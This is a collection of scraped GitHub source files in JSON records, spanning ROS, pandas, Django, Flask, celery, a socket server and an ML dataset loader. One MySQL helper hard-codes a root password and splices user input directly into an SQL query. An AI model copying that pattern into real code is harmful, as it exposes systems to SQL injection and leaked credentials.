\"bgr8\"))\n cv2.waitKey(100)\n\n cap.release()\n","repo_name":"bkjung/hengel_ros","sub_path":"hengel_visual_odometry/scripts/raw_img_publisher.py","file_name":"raw_img_publisher.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4934505377","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\naustin = pd.read_csv('files/weather_data_austin_2010.csv')\nprint(austin.info())\nprint(austin.iloc[20:28, :])\n\n### el ejercicio es plotear la temperatura\n# configurando color, y titulos en los ejes\n\naustin.Temperature.plot(color='red')\nplt.xlabel('Hours since midnight August 1, 2010')\nplt.ylabel('Temperature (degrees F)')\n#plt.show()\n\n\n### A veces conviene ver las variables al mismo tiempo.\n# Pero al estar en diferentes escalas convine hacer sub reportes,\n# O mostras un sub conjunto de series en el mismo gráfico\nplt.close()\naustin.plot()\nplt.show()\n\n\n# Mostrar las series como sub plots, para que cada uno este dentro de su escala\naustin.plot(subplots = 'True')\nplt.show()\n\n# Mostrar solo los dos primeras series en el mismo grafico, ya que tienen escalas comparables.\nplt.close()\nseriesAComparar = ['Temperature', 'DewPoint']\naustin[seriesAComparar].plot\nplt.show()\n\n","repo_name":"demarcocarlosa123/datacampLearning","sub_path":"Pandas/FoundationAdvanced/3_plotting_pandas.py","file_name":"3_plotting_pandas.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35397571711","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom users.forms import UserUpdateForm, ProfileUpdateForm\nfrom users.models import Users\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\n\n\n@login_required\ndef profile(request):\n if request.method == 'POST':\n u_form = UserUpdateForm(request.POST, instance=request.user)\n p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n new_phone = u_form.cleaned_data.get('phone')\n p_form.save()\n user = Users.objects.get(user=request.user)\n user.phone = new_phone\n user.save()\n return redirect('profile')\n else:\n u_form = UserUpdateForm(instance=request.user)\n p_form = ProfileUpdateForm(instance=request.user.profile)\n\n user = get_object_or_404(User, id=request.session.get('_auth_user_id'))\n request.session['user_id'] = user.id\n user_type = get_object_or_404(Users, user=user)\n\n request.session['user_type'] = user_type.user_type.id\n context = {\n 'user_type': request.session['user_type'],\n 'u_form': u_form,\n 'p_form': p_form\n }\n return render(request, 'users/profile.html', context)\n","repo_name":"yyotova/WhatNow","sub_path":"whatnow/users/views/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23459986611","text":"#!/usr/bin/python\nimport fileinput\n\n\ndef get_cases():\n inp = fileinput.input()\n num_cases = int(inp.next())\n for _ in xrange(num_cases):\n inp.next()\n line = inp.next().strip()\n yield list(reversed(sorted(map(int, line.split()))))\n\n\ndef could_redistribute(case):\n if case[0] <= 3:\n return False\n else:\n return True\n\n\ndef redistribute3(case):\n remainder = case[0]/3\n case.append(remainder)\n case.append(remainder)\n case[0] = case[0] - remainder - remainder\n return list(reversed(sorted(case)))\n\n\ndef redistribute(case):\n remainder = case[0]/2\n case.append(remainder)\n case[0] = case[0] - remainder\n return list(reversed(sorted(case)))\n\n\ndef work(case):\n for num in case:\n num -= 1\n if num > 0:\n yield num\n\n\ndef solve(case, cost=1):\n if len(case) == 0:\n return 0, [], 0\n while len(case) > 0:\n copy = list(case)\n if could_redistribute(case):\n case_1 = solve(redistribute(list(case)))\n if case[0] > 6:\n case_2 = solve(redistribute3(list(case)), cost=2)\n else:\n case_2 = (1000000, None, None)\n case_3 = solve(list(work(case)))\n x = min(case_1[0], case_2[0], case_3[0])\n for i in [case_3, case_2, case_1]:\n if i[0] == x:\n i[1].append(copy)\n return (i[0] + cost, i[1], i[2])\n else:\n x, y, z = solve(list(work(case)))\n y.append(copy)\n return (x + cost, y, z)\n\n\nif __name__ == '__main__':\n for num, case in enumerate(get_cases(), 1):\n solution, chain, splitted = solve(case)\n print('Case #%d: %d' % (num, solution))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_156/719.py","file_name":"719.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21145798384","text":"from __future__ import annotations\nfrom p2_ts3norm import *\n\n# At this point, we have a structure made of ‹dict›, ‹list›,\n# ‹Template›, ‹Document› and ‹int› instances. The lists and maps can\n# be arbitrarily nested. Within templates, the substitutions give\n# dot-separated paths into this tree-like structure. If the\n# top-level object is a map, the first component of a path is a\n# string which matches a key of that map. The first component is\n# then chopped off, the value corresponding to the matched key is\n# picked as a new root and the process is repeated recursively. If\n# the current root is a list and the path component is a number, the\n# number is used as an index into the list.\n#\n# If a ‹dict› meets a number in the path (we will only deal with\n# string keys), or a ‹list› meets a string, treat this as a\n# precondition violation – fail an ‹assert› – and let someone else\n# deal with the problem later.\n#\n# At this point, we prefer to avoid the complexity of rendering all\n# the various data types. Assume that the tree is only made of\n# documents and templates, and that only scalar substitution (using\n# ‹${path}›) happens. Bail with an ‹assert› otherwise. We will\n# revisit this next week.\n#\n# The ‹${path}› substitution performs «scalar rendering», while\n# ‹#{path}› substitution performs «composite rendering». Scalar\n# rendering resolves the path to an object, and depending on its\n# type, performs the following:\n#\n# • ‹Document› → replace the ‹${…}› with the text of the document;\n# the pasted text is excluded from further processing,\n# • ‹Template› → the ‹${…}› is replaced with the text of the\n# template; occurrences of ‹${…}› and ‹#{…}› within the pasted text\n# are further processed.\n#\n# The top-level entity passed to ‹ts3_render› must always be a\n# ‹dict›. The starting template is expected to be in the key\n# ‹$template› of that ‹dict›. Remember that ‹##{…}›, ‹$${…}› and so\n# on must be unescaped but not substituted.\n#\n# If you encounter nested templates while parsing the path, e.g.\n# ‹${abc${d}}›, give up (again via a failed assertion); however, see\n# also exercise ‹r3›.\nimport re\n\n\ndef returnOutputDoc(tree: OutputDoc) -> str:\n if isinstance(tree, list) or \\\n isinstance(tree, dict) or \\\n isinstance(tree, int):\n return ''\n return tree.text\n\n\ndef replace_dot(matches: list[str], tree: OutputDoc) -> str:\n if not matches:\n return returnOutputDoc(tree)\n try:\n if isinstance(tree, dict):\n tree = tree[matches[0]]\n elif isinstance(tree, list):\n tree = tree[int(matches[0])]\n except TypeError:\n raise AssertionError\n except KeyError:\n raise AssertionError\n except ValueError:\n raise AssertionError\n return replace_dot(matches[1:], tree)\n\n\ndef replace(text: str, tree: OutputDoc) -> str:\n if text.find('#{') != -1:\n raise AssertionError\n if re.search(r'(\\${[a-zA-Z0-9.]*[${]+[a-zA-Z0-9.]*})', text):\n raise AssertionError\n matches = re.search(r'(\\${[a-zA-Z0-9.]+})', text)\n if matches is None:\n return text\n for match in matches.groups():\n if match.find('.') != -1:\n dot = match.split('.')\n dot[0] = dot[0][2:]\n dot[-1] = dot[-1][:-1]\n change = replace_dot(dot, tree)\n else:\n try:\n test = match[2:-1]\n if isinstance(tree, Template) or isinstance(tree, Document) or isinstance(tree, list) or isinstance(tree, int):\n return \"\"\n pos = tree[test]\n if isinstance(pos, Template) or isinstance(pos, Document):\n change = pos.text\n else:\n raise AssertionError\n except KeyError:\n return text\n text = text.replace(match, change)\n return replace(text, tree)\n return text\n\n\ndef ts3_render(tree: OutputDoc) -> str:\n if not isinstance(tree, dict):\n return ''\n text = replace(tree['$template'].text, tree)\n text = text.replace('$${', '${')\n return text\n\n\ndef test_scalar_individual() -> None:\n\n template = Template(\"Here is input: ${input}\")\n\n t: OutputDoc\n t = {'$template': template, 'input': Document(\"blahblah\")}\n assert ts3_render(t) == \"Here is input: blahblah\"\n\n t = {'$template': template, 'input': Document(\"blah ${t}\")}\n assert ts3_render(t) == \"Here is input: blah ${t}\"\n\n t = {'$template': template,\n 'input': Document('abc}')}\n assert ts3_render(t) == \"Here is input: abc}\"\n\n t = {'$template': template,\n 'input': Template(\"would need ${more.input}\"),\n 'more': {'input': Document(\"hello\"),\n 'output': Document(\"bye\")}}\n assert ts3_render(t) == \"Here is input: would need hello\"\n\n\ndef test_template() -> None:\n\n template = Template(\"Print ${name.idea} and\" +\n \" ${name.group.3.person}..\")\n\n # encountering list in path resolution means an index\n people: OutputDoc = {'person': Document('Bernard')}\n group: OutputDoc = [Document('0'), Document('1'),\n Document('2'), people]\n t: OutputDoc\n t = {'$template': template,\n 'name': {'idea': Document('fireflies'),\n 'group': group}}\n assert ts3_render(t) == \"Print fireflies and Bernard..\"\n\n\ndef test_escape() -> None:\n\n template = Template(\"${header}: show me ${person.name} \" +\n \"and ${person.age} of ${person.name} \" +\n \"but not $${ppl}\")\n\n t: OutputDoc\n t = {'$template': template,\n 'header': Document(\"automatic\"),\n 'person': {'name': Document(\"Villa\"),\n 'age': Document('17')}}\n t_orig = t.copy()\n\n expect = \"automatic: show me Villa and 17 of Villa \" + \\\n \"but not ${ppl}\"\n\n assert ts3_render(t) == expect\n assert t == t_orig\n\n\ndef test_errors() -> None:\n t: OutputDoc\n\n # dict meets a number in the path\n t = {'$template': Template(\"${path.0}\"),\n 'path': {'foo': 2}}\n assert_throws(t)\n\n # list meets a string in the path\n t = {'$template': Template(\"${path.a}\"),\n 'path': [Document('a')]}\n assert_throws(t)\n\n # dict end of scalar, no 'default' key\n t = {'$template': Template(\"a ${path}\"),\n 'path': {'not-default': 1}}\n assert_throws(t)\n\n # composites\n t = {'$template': Template(\"#{comp}\"), 'comp': 7}\n assert_throws(t)\n\n t = {'$template': Template(\"#{comp}\"),\n 'comp': Document(\"$doc\")}\n assert_throws(t)\n\n t = {'$template': Template(\"#{comp}\"),\n 'comp': Template(\"foo\")}\n assert_throws(t)\n\n # nested templates\n t = {'$template': Template(\"#{ab${t}c}\"),\n 'ab': Document(\"wrong\")}\n assert_throws(t)\n\n t = {'$template': Template(\"${ab${t}c}\"),\n 'ab': Document(\"wrong\"),\n 'ab${t}c': Document('still wrong')}\n assert_throws(t)\n\n\ndef assert_throws(t: OutputDoc) -> None:\n try:\n ts3_render(t)\n except AssertionError:\n return\n\n raise AssertionError(\"expected a failed assertion\")\n\n\nif __name__ == \"__main__\":\n test_scalar_individual()\n test_template()\n test_escape()\n test_errors()\n","repo_name":"Zakys98/Python-seminar","sub_path":"02/p3_ts3render.py","file_name":"p3_ts3render.py","file_ext":"py","file_size_in_byte":7346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16663747217","text":"#写一个套接字服务端\nfrom socket import *\n#创建一个套接字对象\nsockfd=socket(AF_INET,SOCK_STREAM)\n#绑定服务端地址\nsockfd.bind(('0.0.0.0',8989))\n#设置监听套\nsockfd.listen(5)\nwhile True:\n #创建连接套接字\n print(\"waiting for connecting...\")\n connect,addr=sockfd.accept()\n print(\"connecting from\",addr)\n while True:\n #消息接收\n data=connect.recv(5)\n print(data)\n if not data:\n break\n #发送消息\n n=connect.send(b'Receive your message')\n print(n)\n #关闭连接\n connect.close()\nsockfd.close()\n","repo_name":"yimingyu1/my-first-Res","sub_path":"py/wangluo.py","file_name":"wangluo.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24688041493","text":"import os, numpy as np\nfrom os.path import join\nimport random\n# import scipy.sparse as sp\n# from gensim.corpora import Dictionary as gensim_dico\nfrom brain import KnowledgeGraph\nfrom brain.config import *\nfrom utils.utils import is_in\nimport operator\nimport re\n# import xml.etree.ElementTree as ET\n# from wrapper_tokenizer import gpt2_tokenizer\nfrom transformers import BertTokenizer, RobertaTokenizer\nimport nltk\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nimport math\nimport torch\nfrom numpy.random import default_rng\nimport time\n\ndef padding_batch(batch_data, seq_length):\n # print(batch_data)\n keys = list(batch_data[0].keys())\n lengths = [len(datum['tokens']) for datum in batch_data]\n if 'aug_tokens' in keys:\n aug_lengths = [len(datum['aug_tokens']) for datum in batch_data]\n else:\n aug_lengths = []\n max_len = seq_length\n for i in range(len(batch_data)):\n self_len = lengths[i] \n batch_data[i]['tokens'].extend([0 for _ in range(max_len - self_len)])\n batch_data[i]['mask'].extend([0 for _ in range(max_len - self_len)])\n if 'aug_tokens' in keys:\n self_aug_len = aug_lengths[i]\n batch_data[i]['aug_tokens'].extend([0 for _ in range(max_len - self_aug_len)])\n batch_data[i]['aug_mask'].extend([0 for _ in range(max_len - self_aug_len)])\n return batch_data\n\n\ndef collate_fn_eval(data_list, seq_length=256):\n # print(data_list)\n keys = list(data_list[0].keys())\n batch_data = padding_batch(data_list, seq_length)\n data = {}\n data['text'] = [datum['text'] for datum in batch_data]\n \n data['tokens'] = torch.stack([torch.tensor(datum['tokens']) for datum in batch_data], dim=0)\n data['mask'] = torch.stack([torch.tensor(datum['mask']) for datum in batch_data], dim=0)\n if 'domain' in data_list[0].keys():\n data['domain'] = torch.stack([torch.tensor(datum['domain']) for datum in batch_data], dim=0)\n if 'label' in data_list[0].keys():\n data['label'] = torch.stack([torch.tensor(datum['label']) for datum in batch_data], dim=0)\n data['pos'] = None\n data['vm'] = None\n return data\n\n\ndef collate_fn_SSL_eval(data_list, seq_length=256):\n # print(data_list)\n keys = list(data_list[0].keys())\n batch_data = padding_batch(data_list, seq_length)\n data = {}\n data['text'] = [datum['text'] for datum in batch_data]\n \n data['tokens'] = torch.stack([torch.tensor(datum['tokens']) for datum in batch_data], dim=0)\n data['mask'] = torch.stack([torch.tensor(datum['mask']) for datum in batch_data], dim=0)\n if 'aug_tokens' in keys:\n data['aug_text'] = [datum['aug_text'] for datum in batch_data]\n data['aug_tokens'] = torch.stack([torch.tensor(datum['aug_tokens']) for datum in batch_data], dim=0)\n data['aug_mask'] = torch.stack([torch.tensor(datum['aug_mask']) for datum in batch_data], dim=0)\n if 'domain' in keys:\n data['domain'] = torch.stack([torch.tensor(datum['domain']) for datum in batch_data], dim=0)\n if 'label' in data_list[0].keys():\n data['label'] = torch.stack([torch.tensor(datum['label']) for datum in batch_data], dim=0)\n return data\n\n\ndef collate_fn_SSL_dev(data_list):\n source_data_list = [datum[0] for datum in data_list]\n target_data_list = [datum[1] for datum in data_list]\n return collate_fn_SSL_eval(source_data_list), collate_fn_SSL_eval(target_data_list)\n\ndef collate_fn_SSL_train(data_list):\n labeled_data_list = [datum[0] for datum in data_list]\n unlabeled_src_data_list = [datum[1] for datum in data_list]\n unlabeled_tgt_data_list = [datum[2] for datum in data_list]\n return collate_fn_SSL_eval(labeled_data_list), collate_fn_SSL_eval(unlabeled_src_data_list), \\\n collate_fn_SSL_eval(unlabeled_tgt_data_list)\n\n\ndef bert_preprocess(datum, max_seq_length, tokenizer):\n tokens = tokenizer.encode(datum['text'], max_length=max_seq_length, add_special_tokens=True, truncation=True)\n tokens.extend([PAD_ID for _ in range(max_seq_length-len(tokens))])\n datum['tokens'] = np.array(tokens)\n datum['mask'] = np.array([1 if t!=PAD_ID else 0 for t in datum['tokens']])\n return datum\n\ndef kbert_preprocess(datum, max_seq_length, kg, return_ssl_mask=False):\n if return_ssl_mask:\n token_list, position_list, visible_matrix, ssl_vm, abs_src_pos = kg.add_knowledge_with_vm(datum['text'], \\\n max_length=max_seq_length, add_special_tokens=True, return_ssl_mask=return_ssl_mask)\n else:\n token_list, position_list, visible_matrix, mask = kg.add_knowledge_with_vm(datum['text'], \\\n max_length=max_seq_length, add_special_tokens=True, return_ssl_mask=return_ssl_mask)\n # token_list = [CLS_ID] + token_list[:-2] + [SEP_ID]\n # mask = np.array([1 if t != PAD_ID else 0 for t in token_list])\n datum['tokens'] = np.array(token_list)\n datum['pos'] = np.array(position_list)\n datum['vm'] = visible_matrix\n datum['mask'] = mask\n if return_ssl_mask:\n datum['vm_ssl'] = ssl_vm\n datum['src_pos'] = abs_src_pos\n return datum\n\ndef SSL_preprocess(datum, max_seq_length, memory_bank, tokenizer):\n tokens = tokenizer.encode(datum['text'], add_special_tokens=True, max_length=max_seq_length, truncation=True)\n ssl_label = [-1] * len(tokens)\n for w,t in memory_bank.pivot2token.items():\n start_pos = is_in(t, tokens)\n if start_pos != len(tokens):\n ssl_label[start_pos: start_pos+len(t)] = t\n\n assert len(tokens) == len(ssl_label)\n # add [MASK] tag\n for i, l in enumerate(ssl_label):\n if l > 0:\n tokens[i] = MASK_ID \n datum['tokens_org'] = tokens\n datum['ssl_label'] = ssl_label\n return datum\n\ndef Masked_SSL_preprocess(datum, max_seq_length, memory_bank, tokenizer):\n # tokens = tokenizer.encode(datum['text'], add_special_tokens=True, max_length=max_seq_length, truncation=True)\n \n tokens = datum['tokens'].tolist()\n \n ssl_label = [-1] * len(tokens)\n for w,t in memory_bank.pivot2token.items():\n start_pos = is_in(t, tokens)\n if start_pos != len(tokens) and start_pos in datum['src_pos']:\n ssl_label[start_pos: start_pos+len(t)] = t\n\n assert len(tokens) == len(ssl_label)\n # add [MASK] tag\n for i, l in enumerate(ssl_label):\n if l > 0:\n tokens[i] = MASK_ID \n datum['tokens_mask'] = np.array(tokens)\n datum['ssl_label'] = np.array(ssl_label)\n datum['src_pos'] = np.array(datum['src_pos'])\n return datum\n\n\nclass DA_train_dataset(torch.utils.data.Dataset):\n # incomplete\n def __init__(self, labeled_data, unlabeled_data, max_seq_length, kg, model_name='bert', debug=False):\n super(DA_train_dataset, self).__init__()\n self.labeled_data = labeled_data\n self.unlabeled_data = unlabeled_data\n self.len_labeled = len(self.labeled_data['text'])\n self.len_unlabeled = len(self.unlabeled_data['text'])\n self.max_seq_length = max_seq_length\n # self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\n if model_name == 'bert':\n self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\n elif model_name == 'roberta':\n self.tokenizer = RobertaTokenizer.from_pretrained('roberta-base')\n self.kg = kg\n self.debug = debug\n \n\n def __len__(self):\n return max(self.len_labeled, self.len_unlabeled)\n # return self.len_labeled\n\n def __getitem__(self, i):\n assert self.len_labeled0])\n # print(labeled_batch['vm'][0][90:107,90:107])\n # print(labeled_batch['pos'][0])\n # break\n","repo_name":"hikaru-nara/DASK","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":28293,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"17536517848","text":"import wx\nimport mysql.connector\nfrom mysql.connector import errorcode\n\ndef get_ID(T_Name) :\n\ttry :\n\t\t\n\t\tcon = mysql.connector.connect(user ='root',password = 'root@1234',host ='127.0.0.1',database ='Scoreboard' )\n\t\tcursor = con.cursor()\n\t\tcursor.execute(\"USE Scoreboard\")\n\t\tcursor.execute(\"Select Team_ID from Scoreboard.Team where T_name = '%s'\"%(T_Name))\n\t\tdata = cursor.fetchall()\n\t\tnewlist = [];\n\t\tfor row in data:\n\t\t\tnewlist.append(row[0])\n\t\t\n\t\tt_ID = newlist[0]\t \n\t\treturn t_ID\n\n\texcept mysql.connector.Error as err:\n\t\tif err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n\t\t\tprint(\"something went wrong\")\n\t\telif err.errno == errorcode.ER_BAD_DB_ERROR:\n\t\t\tprint(\"Database doesnt exist\")\n\t\telse:\n\t\t\tprint(err)\n\telse:\t\n\t\tprint(\"Here have the name...\")\n\t\tcon.commit()","repo_name":"Shashank1116/Scoreboard","sub_path":"GET_ID.py","file_name":"GET_ID.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33977321583","text":"#!/usr/bin/env python3\n\nimport subprocess\n\ntry:\n currentbg = subprocess.check_output('gsettings get org.gnome.desktop.background picture-uri', shell=True)\n print(f\"Before decode:\\n{currentbg}\")\n print(f\"After decode:\\n{str(currentbg.decode('utf-8'))}\")\nexcept:\n raise\n","repo_name":"dwashington102/python_course","sub_path":"python_scripts-how-to/working_with_string-decode-bytes.py","file_name":"working_with_string-decode-bytes.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43186633487","text":"import vector\nimport math\nfrom masspoint import MassPoint \nimport random\n\nclass LJP:\n def __init__(self, particle_mass, particle_amount, eps, ds0, rad, repel_pow = 12, attract_pow = 6, col_lines=[]):\n self.particle_mass = particle_mass\n self.particle_amount = particle_amount\n self.ds0 = ds0\n self.eps = eps\n self.repel_pow = repel_pow\n self.attract_pow = attract_pow\n self.col_lines = col_lines\n self.rad = rad\n self.g = vector.obj(x = 0., y = 0.)\n self.dt = 1./30.\n self.damp = 0.595\n self.particles = []\n self.min_dist = 0.00001\n random.seed(1)\n self.init_mps()\n\n def length(self, vec: vector.VectorObject2D):\n return math.sqrt(vec.x*vec.x + vec.y*vec.y)\n \n def squared_length(self, vec: vector.VectorObject2D):\n return (vec.x*vec.x + vec.y*vec.y)\n \n def init_mps(self): \n for i in range(0, self.particle_amount):\n for j in range(0, self.particle_amount):\n x = 200 + i * (self.rad + 4.5 ) + (-.5 + random.random()) \n y = 200 + j * (self.rad + 4.5 ) + (-.5 + random.random())\n self.particles.append(MassPoint(.05, vector.obj(x = 0., y = 0.), vector.obj(x = 0., y = 0.), vector.obj(x = x, y = y), 0, self.rad))\n\n def random_vector(self, range_min, range_max):\n return vector.obj(x=(range_min + ( random.random()*range_max - range_min )), y = (range_min + ( random.random()*range_max - range_min )))\n \n def calc_frame(self):\n for i in range(0, len(self.particles) - 1):\n for j in range(i + 1, len(self.particles)):\n self.force(self.particles[ i ], self.particles[ j ])\n for particle in self.particles:\n for line in self.col_lines:\n self.wall_collide(line[0], line[1], particle)\n particle.vel += self.dt * self.g\n particle.pos += self.dt * particle.vel\n\n return self.particles\n \n def force(self, A, B):\n sq_dist = self.squared_length(A.pos - B.pos)\n if sq_dist < 100*self.ds0:\n dist = math.sqrt(sq_dist)\n ljp = self.ljp(dist)\n v_ab = (1/dist)*(A.pos - B.pos)\n v_ba = -v_ab\n accA = ljp/A.mass\n accB = ljp/B.mass\n A.vel += self.dt*accA*v_ab\n B.vel += self.dt*accB*v_ba\n\n\n def ljp(self, dist):\n return self.eps*( self.repel_pow*(math.pow(self.ds0, self.repel_pow)/pow(dist, self.repel_pow + 1)) - 2*self.attract_pow*(math.pow(self.ds0, self.attract_pow)/math.pow(dist, self.attract_pow + 1)) )\n\n def wall_collide(self, wA, wB, P):\n dirLine = wB - wA\n normLine = vector.obj(x = -dirLine.y, y = dirLine.x).unit()\n\n t = ( P.pos.y*dirLine.x - wA.y*dirLine.x - P.pos.x*dirLine.y + wA.x*dirLine.y ) / ( normLine.x*dirLine.y - normLine.y*dirLine.x )\n \n dist = self.squared_length(t*normLine)\n\n if dist <= P.rad*P.rad:\n k = -1\n if dirLine.y == 0:\n k = (P.pos.x + t*normLine.x - wA.x)/dirLine.x\n else:\n k = (P.pos.y + t*normLine.y - wA.y)/dirLine.y\n\n if k >= 0 and k <= 1:\n pHit = wA + k*dirLine\n distVec = pHit - P.pos\n\n new_v = P.vel +( 2*((-P.vel).dot(normLine)) * normLine )\n\n diffDist = math.sqrt(dist) - 2*P.rad\n PCorr = distVec.unit() * diffDist \n\n P.pos += PCorr\n P.vel = self.damp*new_v","repo_name":"RobWagMLP/softbody","sub_path":"ljp.py","file_name":"ljp.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"459889375","text":"from heapq import heappush as hpush, heappop as hpop, heapify\r\nfrom copy import deepcopy as dc\r\nfrom baseMethods import printer, horseMoves, scorer, getGrid\r\nimport time\r\nfrom advMethods import placementBool, verifyGrid\r\n\r\ndef main():\r\n ans, workingList = [], []\r\n for i in range(8):\r\n newGrid = getGrid()\r\n newGrid[i][4] = 1\r\n for k in range(i+1,8): newGrid[k][4] = 0\r\n hpush(workingList,[-1,newGrid,i,4,2])\r\n while workingList:\r\n s,tempGrid,lastR,lastC,nxtInput = hpop(workingList)\r\n flag = True\r\n for rx,cx in horseMoves(lastR,lastC):\r\n if tempGrid[rx][cx] == -1:\r\n tempGrid2 = dc(tempGrid)\r\n if placementBool(rx,cx,nxtInput,tempGrid2): continue\r\n flag = False\r\n tempGrid2[rx][cx] = nxtInput\r\n hpush(workingList,[-nxtInput,tempGrid2,rx,cx,nxtInput+1])\r\n if flag and verifyGrid(tempGrid):\r\n hpush(ans,[scorer(tempGrid,False),tempGrid,nxtInput-1])\r\n heapify(ans)\r\n print(\"Answers: \",len(ans))\r\n print(\"Outstanding work on: \",len(workingList))\r\n for i in range(1):\r\n s, g, n = hpop(ans)\r\n print(\"Score: \" , scorer(g,True))\r\n print(\"Max: \" , n)\r\n printer(g)\r\n print()\r\n\r\nstart = time.time()\r\nmain()\r\nend = time.time()\r\nprint(\"Time Taken: \",end - start)\r\n","repo_name":"flameworks/JaneStreetPuzzles","sub_path":"201908 Aug - Knight Moves 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"42743273131","text":"import requests\nimport urllib\nimport json\n\nkey = ''\n\ndef query(query):\n\tif len(key) > 0:\n\t\theaders = {'Authorization': 'Bearer ' + key}\n\t\turl = 'https://api.wit.ai/message?q=' + urllib.quote(query)\n\t\ttext = requests.get(url, headers = headers).text\n\t\ttry:\n\t\t\tj = json.loads(text)\n\t\texcept ValueError:\n\t\t\tj = {'error':text}\n\t\treturn j\n\telse:\n\t\traise Exception('Invalid key. Set the key by doing wit.key = XXXX')\n \ndef queryAudio(filename):\n\tif len(key) > 0:\n\t\twav_file = open(filename, 'rb')\n\t\theaders = {'Authorization': 'Bearer ' + key, 'Content-Type': 'audio/wav'}\n\t\turl = 'https://api.wit.ai/speech'\n\t\tdata = wav_file\n\t\ttext = requests.post(url, headers = headers, data = data).text\n\t\ttry:\n\t\t\tj = json.loads(text)\n\t\texcept ValueError:\n\t\t\tj = {'error':text}\n\t\twav_file.close()\n\t\treturn j\n\telse:\n\t\traise Exception('Invalid key. Set the key by doing wit.key = XXXX')\n","repo_name":"wpapsco/WitPythonModule","sub_path":"wit/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"6603316690","text":"x = input(\"Enter data \\n\")\n\narr = x.split(\" \")\narr = list(map(float, arr))\n\nlength=len(arr)\n\naverage = 0\nfor y in arr:\n average += y\naverage = average/length\n\nvar = 0\nfor y in arr:\n var += (y - average)**2\nvar = var/length\n\ns2 = 0\nfor y in arr:\n s2 += (y - average)**2\ns2 = s2/(length-1)\ns=s2**0.5\nprint(\"Enter t(alpha/2,n-1) or z(alpha/2) value:\")\nt = float(input())\nerror=t*s/(length**0.5)\nt_lower=average-error\nt_upper=average+error\n\nprint(\"number of objects: \", length)\nprint(\"average: \", average)\nprint(\"var: \", var)\nprint(\"sd: \", var**0.5)\nprint(\"S square: \", s2)\nprint(\"S: \", s)\nprint(\"error of z/t distribution: \", error)\nprint(\"lower range of z/t distribution: \", t_lower)\nprint(\"upper range of z/t distribution: \", t_upper)\n","repo_name":"poddarrishi02/t-distribution","sub_path":"t-distn.py","file_name":"t-distn.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2191929263","text":"from flask import Flask, g\nfrom .db import MysqlClient\n\n__all__ = ['app']\n\napp = Flask(__name__)\n\ndef get_conn():\n if not hasattr(g, 'pymysql'):\n g.mysql = MysqlClient()\n return g.mysql\n\n@app.route('/')\ndef index():\n return '

Welcom to Proxy Pool System

'\n\n@app.route('/random')\ndef get_proxy():\n \"\"\"\n 获得一个随机代理\n :return: 随机代理\n \"\"\"\n conn = get_conn()\n return conn.random()\n\n@app.route('/count')\ndef get_counts():\n \"\"\"\n 获取代理池内的代理总数量\n :return: 代理池总量\n \"\"\"\n conn = get_conn()\n return str(conn.count())\n\nif __name__ == '__main__':\n app.run()","repo_name":"BigOrange128/Python-Spider","sub_path":"ProxyPool/proxypool/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"947855310","text":"import time\nimport random\n\nimport celery\n\n\napp = celery.Celery(\n 'tasks',\n broker='amqp://guest@localhost//',\n # backend='amqp://guest@localhost//'\n)\n\n\n@app.task\ndef build_server():\n print('need 10 sec to complete')\n time.sleep(10)\n server_id = random.randint(1, 100)\n print('setup server success for {}'.format(server_id))\n return server_id\n\n\n@app.task\ndef build_servers():\n g = celery.group(build_server.s() for _ in range(3))\n return g()\n\n\n@app.task\ndef callback(result):\n for server_id in result:\n print(server_id)\n print('cleanup..')\n time.sleep(3)\n return 'done all'\n\n\n@app.task\ndef build_servers_with_cleanup():\n c = celery.chord(\n (build_server.s() for _ in range(3)), callback.s())\n return c()\n\n\n@app.task\ndef setup_dns(server_id):\n print('setup dns for {}'.format(server_id))\n time.sleep(3)\n return 'done for {}'.format(server_id)\n\n\n@app.task\ndef deploy_customer_server():\n chain = build_server.s() | setup_dns.s()\n return 